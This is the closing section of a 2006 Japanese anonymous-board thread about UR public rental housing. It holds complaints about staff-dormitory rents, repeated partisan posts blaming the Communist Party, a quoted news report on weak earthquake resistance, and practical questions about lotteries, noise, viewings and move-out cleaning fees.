つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。

ここの職員組合は共産党系。


910 :名無し不動さん:2006/09/21(木) 01:48:39 ID:???
豊洲は一発で落選してよかったよ。
へたに補欠になると落選証明もらうまで一苦労だからね。




911 :名無し不動さん:2006/09/21(木) 10:14:47 ID:???
URに電話したんだけど感じ悪いな。
上からものを言われて頭にきた。
かと言って民間もなあ…
電話の応対も悪い、ありもしないオトリ物件で客を釣ろうとする。
部屋を出る時にぼられる。
どっちもどっちだけど最初だけ我慢すればいいURにしてやるよ。

912 :名無し不動さん:2006/09/21(木) 10:51:36 ID:+3NcZzqb
>>911
工作お疲れさん。

913 :名無し不動さん:2006/09/21(木) 11:33:48 ID:???
上から言われるやつは同じ話し方してるんだよ。

914 :名無し不動さん:2006/09/21(木) 11:36:45 ID:/Xf4XJ7o
>>913
バカかお前。近所の会合じゃなんだよ!

915 :名無し不動さん:2006/09/21(木) 11:41:50 ID:???
いやならURやめたらいいじゃん。プ

916 :名無し不動さん:2006/09/21(木) 11:55:08 ID:???
近所のオジチャンオバチャンと同じダヨw

917 :名無し不動さん:2006/09/21(木) 12:05:24 ID:???
確かに民間とは違う、役所とか地方の郵便局みたいな態度だよ

918 :名無し不動さん:2006/09/21(木) 12:40:54 ID:???
>>911
頭にきたら上司を出せっていってみればいいよ
もっと感じ悪いのが出てくるから(マジ)

919 :名無し不動さん:2006/09/21(木) 13:24:57 ID:/cUxNnme
公団の多くの自治会は共産党関係者が幅をきかせてるし、のぼり旗には
「収入に応じた家賃を」とか書いて運動してるが、都市再生機構の職員組合は
共産党系なんだろう。なぜ、職員の宿舎は収入に応じた家賃にしないんだ?
一般の人には「収入に応じた家賃を」共産系組合員は「とにかく安い家賃を」
とか使い分けてると言われてるんだが。


920 :名無し不動さん:2006/09/21(木) 13:49:00 ID:???
こんなとこに同じこと何回も書いても、ナカーマ2ちゃねらにとって、迷惑なだけなことがわかんないのか?

921 :名無し不動さん:2006/09/21(木) 14:33:59 ID:7tZHfdWp
確かにおかしいんだよな。
共産党は職員のために、住民を食い物にしてるんだろう。
都市再生機構の職員の給与もべらぼうに高いらしいし。

922 :名無し不動さん:2006/09/21(木) 14:39:13 ID:xkBl3hyO
郵政より都市再生機構を分割民営化すべきなんだ。
実体を明らかにして選挙の争点にすれば、反対するのは共産党くらい
なものだぞ。
住民にいままでのいきさつ、現状を明らかにすべきだな。

923 :名無し不動さん:2006/09/21(木) 21:13:39 ID:4Gd4v0N+
豊洲シエルって結構補欠が出てるみたいだけど、
あそこはキャンセルする人少ないと思う・・・。
URは他の物件と同じようにキャンセルが出ると考えてるみたいだが。

924 :名無し不動さん:2006/09/21(木) 22:43:56 ID:???
>>921
職員の給与がべらぼうに高い訳ねーだろw
だったら、みんな入ってるよ!
といっても学歴無いと入れないけどねw

925 :名無し不動さん:2006/09/22(金) 00:01:55 ID:???
>>919

あの幟は「今の家賃じゃ高くて、今の収入じゃ払えない。年寄りはタダにしろ」って
いう意味だろ。自治会のジジババの集り精神は公務員以上だぜ

926 :名無し不動さん:2006/09/22(金) 00:09:16 ID:jE9RF1X3
>>925
昔から居る人なんて幾ら払ってるんだ?
単なる共産党の誤魔化しだろう。
こうすれば分かる。

職員 所得が上がっても安いまま。

住民 所得が上がれば高くなる。

927 :名無し不動さん:2006/09/22(金) 00:16:44 ID:3rvKgGPP
自治会を積極的に作らせて、自治会を通じて住民を管理してるんだろう。
大学での民青みたいなもんだ。自治会費はどう使われるかだな、問題は。
団地のお祭りとかやって赤旗祭りと連動してたり。
まあ、都市再生機構にとっても悪くはないし、共産党にとっても悪い話しで
はないな。


928 :名無し不動さん:2006/09/22(金) 00:39:45 ID:???
先着順受付、最近リアルタイム更新されなくなってねえ?
仮予約してた物件、放流してもリストには反映されたなかった。
しかし、定時更新のあとにリストに載った。速攻でなくなったけどね。

929 :名無し不動さん:2006/09/22(金) 01:06:51 ID:???
去年と比べてサイトが使いづらくなってる。

例えば以前は午後5時にエリアから探す→神奈川県とか埼玉県を選択するとその日にあった空き部屋が全て表示されたのに今は午後5時の時点で空きのある部屋だけしか表示されない。

前者だと今日はこんな物件が出たんだとわかって良かったのになあ。
今はサイトが重くなっただけの糞サイト。

930 :名無し不動さん:2006/09/22(金) 01:22:56 ID:ZPnN2V5I
なあ、新宿や池袋とかの「東京」の営業センターで
ネットに出てない「横浜近辺」の物件って教えてくれるもんかね?

それともやっぱ横浜まで出ないとダメ?

931 :名無し不動さん:2006/09/22(金) 01:57:12 ID:XxWahYc/
うちの近所の公団住宅にも、所得に応じた家賃を、とかでてる。
確かにおかしい。普通なら家賃を下げろとかいうんだろう。
自治会とかが都市再生機構の手先になってるんじゃないか。

共産党は公務員の手先となって、庶民を食い物にしています。


この管理者である公務員と賃借人に対して、全く違うことを言ってるのは、
都市再生機構に留まりません。
他の公営住宅についても、全く同じです。
低所得者より、公務員の方が、公務員より一等地に持ち家を持つ人達の
方がより優遇されることを共産党は主張しています。


932 :名無し不動さん:2006/09/22(金) 02:01:39 ID:???
昭和40年代のリニューアル物件って木造アパートよりはましな防音性かな?
周りの音は気にしないけど家は夜遅いし音楽聞くから騒音元になってしまいそうだ。

933 :名無し不動さん:2006/09/22(金) 03:09:02 ID:???
木造アパートより酷いのでやめたほうがいいです。
音楽なんてとんでもないですよ。
どんなに音を小さくしても振動が伝わってくるしね。
夜中にトイレ行くのにも気をつかい、何でこんなコソコソ生活しなくてはいけないのか
と思う今日この頃。

934 :名無し不動さん:2006/09/22(金) 05:24:28 ID:???
騒音は、物件と上下左右の隣人によるんじゃないかい?

うちは、とりあえず、静寂この上ない。


935 :名無し不動さん:2006/09/22(金) 08:23:38 ID:???
内覧って2,3日前に電話してなきゃいけないんだっけ?

936 :名無し不動さん:2006/09/22(金) 09:55:27 ID:???
>>923
下層階しか残ってなくてキャンセルってのがタワー物件は多いよ

937 :名無し不動さん:2006/09/22(金) 10:05:08 ID:???
過疎地域の古い物件はほとんど人が入っていないから、静かでいいよ。


938 :名無し不動さん:2006/09/22(金) 17:32:03 ID:???
例えば何処?

939 :名無し不動さん:2006/09/22(金) 18:20:44 ID:iVqlVzKk
都市再生機構における共産党方式、まあ他の公営住宅で共産党が強いところは同じだが。

職員 安い家賃を       常に安く、交渉する必要もない。

住民 所得に応じた家賃を  結局家賃の値下げ交渉ができない。

              所得が高い人は、高い家賃を払えということで、例え建物が
              古くなろうが高いまま。 
              所得が低い人も、所得に応じてるかいなかは誰もきめられないから
              結局変わらない。
              所得がない人は、追い出されるだけ。   

結局、都市再生機構の思うまま。一見反対してるようだが、住民が家賃値下げの運動を
しないように、所得を持ち出して、住民を分断し、誰も反対出来ないようにする巧妙な作戦。
つまり共産党は、組合職員については、できるだけ安い家賃を要求し、その代わりに、
住民から高い賃料をかすめとる手伝いをしている。


940 :名無し不動さん:2006/09/23(土) 01:31:57 ID:???
共産党がどうとかいうレスうぜーな!
こんなとこに匿名で張ったところでどないしたいねん。。
あほか!
あー、あほなんやろね。。
こんなレスに反応してしまう俺もあほじゃがな・・・

941 :名無し不動さん:2006/09/23(土) 11:24:43 ID:???
募集中の戸田物件について質問なんですけど、
犬はOKのようなので、
小型の羊OKなのでしょうか?
現在の老朽化戸建の庭に羊を一匹飼ってるんです orz

942 :名無し不動さん:2006/09/23(土) 11:34:42 ID:???
>>941
ニュージーランド原産の犬だって言い張れば大丈夫

943 :名無し不動さん:2006/09/23(土) 11:52:55 ID:???
>>941
たとえ羊でも、名前をハチだとかポチにしとけば気付かれない


944 :名無し不動さん:2006/09/23(土) 12:55:08 ID:Ioyak+5+
「元はと言えば、国民の財産じゃないですか?公金が投入されてるじゃないですか」
<UR職員>「私どもの所有であるし、私どもの建物ですから」
<記者>「国民の財産の一部とはお考えになりませんか?公金が投入されているというご自覚はありませんか?」
<UR職員>「私ども公的企業ですので、広い意味では全て公金です」
議論はかみ合わない。
<民主党の尾立源幸議員>
「財務体質を良くしていかなければならない使命がある中では、ここは民間に売却して
資金を回収して借金を減らしていことが大事だと思います」
さらに問題なのは、都市機構は去年、国から何と9,000億円もの債権放棄を受けて
いることだ。
国民から集めた年金の保険料や、郵便貯金を運用している特別会計・財政投融資から
借金の利子をチャラにしてもらったのだ。
公益法人に詳しい北沢栄教授も、こう批判する。
<東北公益文科大学・北沢栄教授>
「結局、これ国民の金ですよね。破たん状態なんですけど、彼らに破たんて概念ないん
ですよね。自己責任でやってませんから。国から出ますから、お金が。言わば、壮大な
ムダ使いをしてたわけです」
機構側に再度、認識を尋ねた。
<都市機構西日本支社・岡田博副支社長(当時)>
(Q.副支社長、この宿舎は国民のご理解を得られますか?)
「……」


945 :名無し不動さん:2006/09/23(土) 13:09:18 ID:afO73tu8
職員については 安い家賃を       常に安く、交渉する必要もない。

住民については 所得に応じた家賃を  結局家賃の値下げ交渉ができない。

この違いを問題にしてるんだろう。確かに、普通は家賃を安くしろだわな。
何故住民についてだけ、所得に応じた家賃とか言い出すんだ?
同じ部屋を借りて、ある人は所得が多いから家賃を高くするとか言う奴が
いるか?さらに同じ奴らが職員についてはそんなことを全く言わないとなると、
何故なんだということに当然なるんだが。


946 :名無し不動さん:2006/09/23(土) 14:56:52 ID:???
水道管がうるさくて夜遅くに風呂はいれねえわ。
洗濯機の音の3倍はうるさい。まいったね。

947 :名無し不動さん:2006/09/23(土) 16:13:01 ID:???
団地の内覧に行ったら1階住居用の集合ポストが無かった
1階の人の分はいちいちドアポストに入れるんでしょうかね
郵便局は大変だが住んでる人には便利そうだ

948 :名無し不動さん:2006/09/23(土) 19:19:43 ID:???
今日、鍵の受け取りの時間連絡しよう
管理事務所に電話hしたら、
留守電だった・・・

そういや、今日は休日なんだな・・・


949 :名無し不動さん:2006/09/23(土) 21:13:41 ID:tDjcJ30I
内覧するときってわざわざ遠くまで車で送ってくれるのですか?

950 :名無し不動さん:2006/09/23(土) 22:14:57 ID:tDjcJ30I
URの物件は高いぞ
URは同じ地区の物件と比べると部屋がひとつ少ないぐらい


951 :名無し不動さん:2006/09/23(土) 22:30:07 ID:tgAdOjrN
URは税金で成り立ってるんだろう。
おかしなことをやってるんなら国民が批判するのは当たり前じゃないか。
それに都市再生機構は、日本の公務員、準公務員の問題点が典型的に現れていると思う。
たまたま、提供するサービスが住宅。
ところが、国民に対するサービス内容は、税金が投入されているのに民間より安くない。
国民に対するサービス内容は高くかつ程度も悪い。それに引き換え職員に対する同様のサービス
は、廉価かつ程度も高い。
職員の為に税金をジャブジャブ使っておきながら、国民のために税金を使ってるかの
ようなことを言ってる。ここが問題なんだろう。
だから政治家が皮肉って、「職員が公団住宅の方にすんだらどうなんだ」と言ってるんだろう。
国民の声をよく代弁してると思うんだが。


952 :名無し不動さん:2006/09/23(土) 22:42:33 ID:tgAdOjrN
★都市再生機構のマンション、耐震強度は基準の58%
 2006年6月2日3時3分 読売新聞
 http://www.yomiuri.co.jp/national/news/20060602i101.htm?from=main1

 構造計算書を多数紛失していた独立行政法人・都市再生機構(旧都市基盤整備公団)が、
東京都八王子市で1989年に分譲したマンション1棟の耐震強度が、最弱部分で基準の
58%しかないことが、社団法人・日本建築構造技術者協会(JSCA)の調査で分かった。
 建築確認が免除されている公的機関が建設した建物の設計で強度不足が確認されたのは
初めて。また機構はこのマンションの計算書も紛失したとして、「再々計算書」を作成したが、
JSCAの分析では、同計算書には柱の強度の水増しなど十数件の不審点があった。
 事態を重く見た国土交通省は、機構の担当者から事情を聞くなど調査に乗り出す方針。
このマンションでは悪質な手抜き工事も判明しており、機構による住宅の信頼性は大きく
揺らぐことになりそうだ。
 同マンション群では、鉄筋不足など手抜き工事が次々と発覚し、46棟中20棟を建て直す
異常事態となっている。問題のマンションは建て替え対象とはなっていないが、手抜き工事も
加わって実際の強度は58%を下回る恐れもある。
 国などに準ずる機関とされる都市再生機構は、建築確認を免除されており、計画を自治体に
通知するだけで建設に着手できる。今回、強度不足が判明したことで、構造計算書を点検する
動きが他の機構マンションにも広がる可能性もある。

953 :名無し不動さん:2006/09/23(土) 22:43:38 ID:tgAdOjrN
URの物件は遠高狭。その上危険、安全性に問題あり。公務員がやることだから。
唯一の取り柄は、例え倒壊等しても、国民から税金を盗って補償に
あてることができること。勿論、職員は責任を負いません。いつまで
そのふざけた仕組みが維持されるか疑問だが。


954 :名無し不動さん:2006/09/24(日) 01:10:16 ID:X5Z7vgnm
豊洲シエルタワー資格確認はとても混んでいました。
URの予想はずれで補欠を明らかに取りすぎている。
とても残酷だ。

955 :名無し不動さん:2006/09/24(日) 06:40:48 ID:???
契約日までに印鑑証明とか用意できなかったらどうなる?
実印登録と印鑑証明って同じ日に役所でできるよね?

956 :名無し不動さん:2006/09/24(日) 07:17:51 ID:P04FXGhr
URは高いよYahoo不動産で同じ地域、築年数、価格で比べると
一部屋ぐらい少ない広さ

957 :名無し不動さん:2006/09/24(日) 08:23:00 ID:???
>>955
できる

958 :名無し不動さん:2006/09/24(日) 08:48:51 ID:xcWLja/W
次スレです。
http://money4.2ch.net/test/read.cgi/estate/1159055051/

959 :名無し不動さん:2006/09/24(日) 10:12:58 ID:???
>>957
サンクス

960 :名無し不動さん:2006/09/24(日) 10:14:27 ID:???
>>955
本人が契約に行けば印鑑証明は不要だろ

961 :名無し不動さん:2006/09/24(日) 10:21:25 ID:???
旅券や免許証がないとか、コピー提出がヤダ、とかじゃない〜(´・ω・`)

962 :名無し不動さん:2006/09/24(日) 12:42:09 ID:5R/9HQXJ
>>174
>庶民の気持ちとして素朴に思うのだが、
>金持ちにいつまで公団に居座られるより、出て行ってもらった方がいいと思いません?
>入居待ちの人にとっては切実。
>>175
>金持ちが公団に住むなんておかしい。

共産党は支離滅裂だなあ。
もともと、公団は公営住宅と違って低所得者救済の住宅ではないとか言って
たんじゃないのか?
まあ、言ってることは、住民に権利主張させないということだろう。
公団のあり方をみると、共産圏諸国のやり方がよくわかる。
「公務員が全てを管理し、住民に権利は認めない。恩恵的に住宅を提供してるんだから
 つべこべ言わせない。」
こんなのは、無料で提供してる時にいえることだろう。公団住宅の家賃は、
民間より安くないんだよ。
職員組合が共産党系で、その手先になってる共産党系の自治会役員がその他の
住民を監視、管理しているということだろう。


963 :名無し不動さん:2006/09/24(日) 12:53:02 ID:yBdR98NK
職員 安い家賃を       常に安く、交渉する必要もない。

住民 所得に応じた家賃を  結局家賃の値下げ交渉ができない。

この違いを問題にしてるんだろう。確かに、普通は家賃を安くしろだわな。
何故住民についてだけ、所得に応じた家賃とか言い出すんだ?
同じ部屋を借りて、ある人は所得が多いから家賃を高くするとか言う奴が
いるか?さらに同じ奴らが職員についてはそんなことを全く言わないとなると、
何故なんだということに当然なるんだが。


964 :名無し不動さん:2006/09/24(日) 13:05:20 ID:kPQTrf9R
>>956
高くても訳ありの奴は借りるんだよ。

965 :名無し不動さん:2006/09/24(日) 14:36:20 ID:???
>>960
免許無いもん

966 :名無し不動さん:2006/09/24(日) 16:36:41 ID:7fR3ZajO
都市再生機構における共産党方式、まあ他の公営住宅で共産党が強いところは同じだが。

職員 安い家賃を       常に安く、交渉する必要もない。

住民 所得に応じた家賃を  結局家賃の値下げ交渉ができない。

              所得が高い人は、高い家賃を払えということで、例え建物が
              古くなろうが高いまま。 
              所得が低い人も、所得に応じてるかいなかは誰もきめられないから
              結局変わらない。
              所得がない人は、追い出されるだけ。   

結局、都市再生機構の思うまま。一見反対してるようだが、住民が家賃値下げの運動を
しないように、所得を持ち出して、住民を分断し、誰も反対出来ないようにする巧妙な作戦。
つまり共産党は、組合職員については、できるだけ安い家賃を要求し、その代わりに、
住民から高い賃料をかすめとる手伝いをしている。


967 :名無し不動さん:2006/09/24(日) 16:52:41 ID:???
全面フローリングの新築だがすごい騒音だね
特に両隣の歩き回る音、和室、カーペットの方が全然まし

設計が糞なのか、古いマンションをフローリングリフォームしたようなレベルなのかね
換気用の配管の位置も変なのか全体に響き渡る音がする



968 :名無し不動さん:2006/09/24(日) 17:36:00 ID:???
何やらアンチスレのようになっているね。
良くなければスパッと引っ越せば良いと思う。

色々問題はあるにせよ、今のところ民間の賃貸よりはマシではないかな。

969 :名無し不動さん:2006/09/24(日) 17:41:54 ID:fLDlyLwm
URの物件は遠高狭。その上危険、安全性に問題あり。公務員がやることだから。
唯一の取り柄は、例え倒壊等しても、国民から税金を盗って補償に
あてることができること。勿論、職員は責任を負いません。いつまで
そのふざけた仕組みが維持されるか疑問だが。


970 :名無し不動さん:2006/09/24(日) 17:52:57 ID:P04FXGhr
他より同じ値段で狭いUR
しかも壁が薄くうるさい
だから20%も空きがあるのはざら
有利なのは保証人なし、礼金なし、1年分払えば収入なくてもOKなだけ


971 :名無し不動さん:2006/09/24(日) 18:09:57 ID:???
だって、民間ってピンキリなんだけれどね。
そりゃ高いトコいけば良い物件はあるだろうけど。

根拠の無い嫌がらせ書き込みが増えているね「大崎」ですか?
豊洲が終わったと思ったらこれですからね…。

972 :名無し不動さん:2006/09/24(日) 18:15:01 ID:NjKmjZNh
たま〜にURの広告が新聞紙に入ってるが、
当然のことながら、一番誰も寄りつかない
物件が一番大きく宣伝されてるな。

973 :名無し不動さん:2006/09/24(日) 19:08:44 ID:???
良い物件は宣伝しなくてもすぐに埋まるからね。

974 :名無し不動さん:2006/09/24(日) 19:43:41 ID:???
豊洲、資格確認あったのか。。
当選したが、行くの忘れてた。
次は大崎かな。もっと狭くていいから安いといいな。

975 :名無し不動さん:2006/09/24(日) 19:49:36 ID:???
家賃の金額が高すぎ
貧乏リーマンも住めるぐらいの家賃設定してくれ。

ファミリーは子供のことも考えると
多少田舎でもいいんだよ。
大崎に子供がいるファミリーが住むなんて考えられない。

976 :名無し不動さん:2006/09/24(日) 19:58:56 ID:???
「大崎に子供がいるファミリーが住むなんて考えられない」
と、考えるあなたの思考回路の不具合が心配でならない。

977 :名無し不動さん:2006/09/24(日) 20:56:56 ID:kPQTrf9R
>>974
やすいわけにゃいべ

978 :名無し不動さん:2006/09/24(日) 21:02:41 ID:qfbNLQlL
URは税金で成り立ってるんだろう。
おかしなことをやってるんなら国民が批判するのは当たり前じゃないか。
それに都市再生機構は、日本の公務員、準公務員の問題点が典型的に現れていると思う。
たまたま、提供するサービスが住宅。
ところが、国民に対するサービス内容は、税金が投入されているのに民間より安くない。
国民に対するサービス内容は高くかつ程度も悪い。それに引き換え職員に対する同様のサービス
は、廉価かつ程度も高い。
職員の為に税金をジャブジャブ使っておきながら、国民のために税金を使ってるかの
ようなことを言ってる。ここが問題なんだろう。
だから政治家が皮肉って、「職員が公団住宅の方にすんだらどうなんだ」と言ってるんだろう。
国民の声をよく代弁してると思うんだが。


979 :名無し不動さん:2006/09/24(日) 21:33:20 ID:fxDV8521
大阪府池田市に去年完成したのは、都市再生機構の職員専用マンション。
建設費6億7,000万円。4階建てで全60戸。
こちらはエレベーター付きだ。
特筆すべきは、その眺望。
池田市内はおろか、梅田のビル群までも見渡せる180度のパノラマ。
家賃はと言えば、2LDK(70〜71平方メートル)で、3万円〜3万3,000円。
3LDK(75〜78平方メートル)で、4万2,000円〜4万9,000円と破格
の安さだ。
<近所の人>
(Q.家賃は75平米で4万円くらいなんですよ)
「エーッ!すごいですね」
(Q.場所は最高ですよね?)
「そうなんですよ。場所はすごいイイなあと思ってて、建ったときに何の建物かと思ってました」
<近所の人>
「ウチのところは68平米で公団ですけど、12万円払ってます。眺めもイイし、うらやましい
 なあと主人と言ってました」

国民に対するサービス内容の住宅供給は、税金が投入されているのに民間より安くなく、一言で言えば遠高狭。
それに引き換え職員に対する住宅供給は、豪華、格安。その上職員給与は馬鹿高い。
職員の為に税金をジャブジャブ使っておきながら、国民のために税金を使ってるかのようなことを言ってる。
ここが問題なんだろう。
税金を投入する必要はないんじゃないか。


980 :名無し不動さん:2006/09/24(日) 22:42:44 ID:???
シャレール広尾、まだ引越しの養生も取れないというのに早くもスラム化の様相。
廊下には物が置かれ始めてるしこの前は布団がベランダの手すりに干してあるのを
目撃してしまった。おお恥ずかしい・・・

981 :名無し不動さん:2006/09/24(日) 22:56:37 ID:qMBnalxj
住民だけどさぁ、何で停電工事を夜中の0:00〜2:50にやるんだよ!(怒)
昼間やれよ。

982 :名無し不動さん:2006/09/24(日) 23:01:34 ID:???
広尾、27日10時から新築の先着順受付が始まるようだけど
チケット販売みたいに厳密ではないから10時前に電話した方がいい。
いや、明日電話しても受け付けるかもしれない。

983 :名無し不動さん:2006/09/24(日) 23:27:51 ID:BEGFktCp
共産党はいい加減にした方がいい。
幾つかの公団住宅を見て回ったが、郊外の公団なんて事実上スラム化してる。
入居者全ては分からないが、明らかに低所得層、外国人などが多い。
特に古く、不便な公団なんて、どうして民間と同程度の家賃にする必要が
あるんだ。
日本の場合、地価が異常に高く、家賃も高い。税金をつぎ込みながら民間と
同じ、または、高いなんて言うのはおかしい。
単に貧乏人を食い物にしてるだけだろう。
公団の巨額の負債も、賃貸部門で生じた訳ではないだろう。
バブル前からの土地の買い占め、地上げ費用。民間で同じことをやって
たとこは、潰れたり、他に吸収されたり、相当なリストラをやってるだろう。
都市再生機構は、その付けを賃貸部門の住民にかぶせ、税金の垂れ流し
的投入で存続してるだけではないか。
驚くことに、リストラもやらなければ、高給もそのまま。
そんな状態のところで、家賃が下がらないような運動をしてるんだろう。
だから、庶民を食い物にしてると言われるんだ。


984 :名無し不動さん:2006/09/24(日) 23:47:12 ID:???
明らかに低所得の人が入っているなら充分安いんじゃない?
無意味に長いだけで論旨が良く分かりません。

985 :名無し不動さん:2006/09/25(月) 00:41:20 ID:rQjlSJeI
http://www2.realint.com/cgi-bin/tarticles.cgi?hiroba+23093

>ご両親が治療の費用を負担しないことに異議をとなえてる方に言いたいです。
>どうして裕福だからといって治療費を寄付でまかなってはいけないのでしょう?
>問題視されているのは、収入の低い方なのではないですか?
>失礼かもしれませんが、あなたがたの所得が低いのは上田夫妻のせいではありませんよ。
>もし治療費のために今の生活レベルを下げたり、都営住宅に引っ越すことになったら、
>さくらちゃんが傷つくと思いませんか?
>さくらちゃんの幸せを願う夫妻のお気持ちがわかりませんか?

都営住宅の人に謝れ!!!!!! ヾ(`Д´)ノ

986 :名無し不動さん:2006/09/25(月) 06:07:26 ID:???
>>981
犯罪発生の予感w

987 :名無し不動さん:2006/09/25(月) 06:07:29 ID:???
都営の話題はスレ違い。

988 :名無し不動さん:2006/09/25(月) 10:56:46 ID:???
>>967
URって大体が鉄筋じゃ無いの?それでも酷いの?

あと、契約まで一時的に引っ越しちゃう場合、契約は普通に行っておk?

989 :名無し不動さん:2006/09/25(月) 13:20:38 ID:0cMkFnE7
何らかの理由から家賃滞納した事ある人いる?やばい?

990 :名無し不動さん:2006/09/25(月) 13:39:36 ID:???
何の理由で延滞したかによるんじゃないの?
どっちにしろ営業所あたりに払いに行かないといけないはず。

991 :名無し不動さん:2006/09/25(月) 13:42:01 ID:???
>>941
マジレスしとくけど、入居前に動物の申請しないといけないんで
変なのだと許可でないかもよ。

戸田、狭くてびっくりした。
床面積というよりは、天井が低いからだと思うけど。

992 :名無し不動さん:2006/09/25(月) 14:03:35 ID:???
>>989
口座への入金忘れで滞納はある。
再引き落としの連絡ハガキが来るだけ。

退出予定の知り合いが、わざと三ヶ月分を滞納した事がある。
修繕交渉をし易くするためだと言ってた。
彼は建設業で、内装リフォームとかの値段を把握してたから。

993 :名無し不動さん:2006/09/25(月) 14:22:23 ID:???
URなんてそんなに修繕費取られないのに
どんなDQNだ・・・

994 :名無し不動さん:2006/09/25(月) 16:28:57 ID:???
>>941
羊を室内で飼うのか??超くっっさいよね。
でも、ちょっと面白いからネタじゃありませんよ〜に!

995 :名無し不動さん:2006/09/25(月) 16:39:39 ID:???
そう?
前の部屋、普通に使っていても清掃代とか、
経年劣化のクロスとかまで、そこそこ取られたけどな。
今はレンジ清掃とか取られないの?
今の部屋、10年住んでるので、URの対応がわからん。

996 :名無し不動さん:2006/09/25(月) 16:58:18 ID:???
>>995
10年間レンジ清掃をどこにも頼んでないの?

997 :名無し不動さん:2006/09/25(月) 17:09:34 ID:???
>>996
自分で清掃しているよ。シロッコファンなんて簡単に外せるから。
でも、前の部屋の退出時に来た公団の人いわく、
「これは専門家でないと掃除出来ないから清掃料金を取ります。」
と加算されたんだな。

998 :名無し不動さん:2006/09/25(月) 17:11:55 ID:???
>>997
だからだよー。
1年に何度かJSで割引清掃やってくれるのに頼むと取られないと思う。
団体割引で8,000円。
出る前だけでいいからやってもらったらいいのに。

999 :名無し不動さん:2006/09/25(月) 17:29:59 ID:???
たっけーなw

1000 :名無し不動さん:2006/09/25(月) 17:54:18 ID:???
安いじゃん。
うちに来る人は丁寧にやってくれるのでありがたい。


1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

299 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)